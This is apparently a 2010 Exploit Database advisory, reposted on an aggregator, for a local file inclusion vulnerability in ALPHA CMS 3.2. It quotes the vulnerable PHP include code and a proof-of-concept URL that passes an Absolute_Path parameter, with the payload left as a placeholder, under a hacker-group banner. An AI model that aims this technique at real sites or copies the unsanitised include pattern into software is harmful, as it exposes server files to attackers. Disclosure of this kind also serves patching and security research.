ALPHA CMS – Local File Inclusion

• Exploit Database
• 90 阅读

• 作者： eidelweiss
  日期： 2010-04-01
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/11995/

• ########################################################
   
  fucking the Web Apps [attack edition]
   
   __________ 
  /\_`\ /\ \__/\ \__/\ \
  \ \ \L\_\_______\ \ \/'\ /\_\_____\ \ ,_\ \ \_____
   \ \_\/\ \/\ \/'___\ \ , < \/\ \ /' _ `\/'_ `\ \ \ \/\ \_ `\/'__`\
  \ \ \/\ \ \_\ \/\ \__/\ \ \\`\\ \ \/\ \/\ \/\ \L\ \ \ \ \_\ \ \ \ \/\__/
   \ \_\ \ \____/\ \____\\ \_\ \_\ \_\ \_\ \_\ \____ \ \ \__\\ \_\ \_\ \____\
  \/_/\/___/\/____/ \/_/\/_/\/_/\/_/\/_/\/___L\ \ \/__/ \/_/\/_/\/____/
  /\____/ 
  \_/__/
   ____________ Hack0wn! Security Project
  /\ \__/\ \/\ \/\_\
  \ \ \/\ \ \ \ __\ \ \____ \ \ \L\ \_____ _____ ____ 
   \ \ \ \ \ \ \/'__`\ \ '__`\ \ \__ \/\ '__`\/\ '__`\/',__\
  \ \ \_/ \_\ \/\__/\ \ \L\ \ \ \ \/\ \ \ \L\ \ \ \L\ \/\__, `\
   \ `\___x___/\ \____\\ \_,__/\ \_\ \_\ \ ,__/\ \ ,__/\/\____/
  '\/__//__/\/____/ \/___/\/_/\/_/\ \ \/\ \ \/\/___/
   \ \_\ \ \_\
  \/_/\/_/ 
  
  
  [+]Title	:	ALPHA CMS Local File Inclusion Vulnerability
  [+]Version:	3.2
  [+]Download:	http://sourceforge.net/projects/alpha-cms/files/
  [+]Author:	eidelweiss
  [+]Metode:	Local File Inclusion	
  [+]CWE:		22
  
  	[*]Special to Syabilla_putri (I miss u so much to)[*]
  
   [!]Thank`s Fly To:
  
  [~] Jose Luis Gongora Fernandez a.k.a JosS - sp3x (securityreason)
  [~] exploit-db team
  [~] Inj3ct0r.com r0073r & 0x1D [Inj3ct0r Exploit Database] - [D]eal [C]yber
  
  
  ########################################################
  
  Description:
  
  ALPHA CMS is an A.P.I - free (Open Archiecture), MVC based Content Management System. 
  ALPHA CMS architecture gives the ability to easily create advanced web pages, add-ons or even other CMS. 
  ALPHA CMS is based on PHP, Smarty, JavaScript and MySQL.
  
  	-=[ Vuln C0de ]=-
  
  [!] File name: alpha.php
  
  // Create a new ALPHA CMS object
  $alpha = new ALPHA;
  
  // Include DTBS class
  require_once($alpha->Absolute_Path() . 'db.php');
  
  // Include CTRL class
  require_once($alpha->Absolute_Path() . 'controler.php');
  
  // Include UTL class
  require_once($alpha->Absolute_Path() . 'utilities.php');
  
  // Include STY class
  require_once($alpha->Absolute_Path() . 'smarty.php');
  
  
  	-=[ Proof Of Concept ]=-
  
  	http://127.0.0.1/alpha.php?Absolute_Path=[LFI]
  
  ######################=[E0F]=#############################
  

  Python

  Copy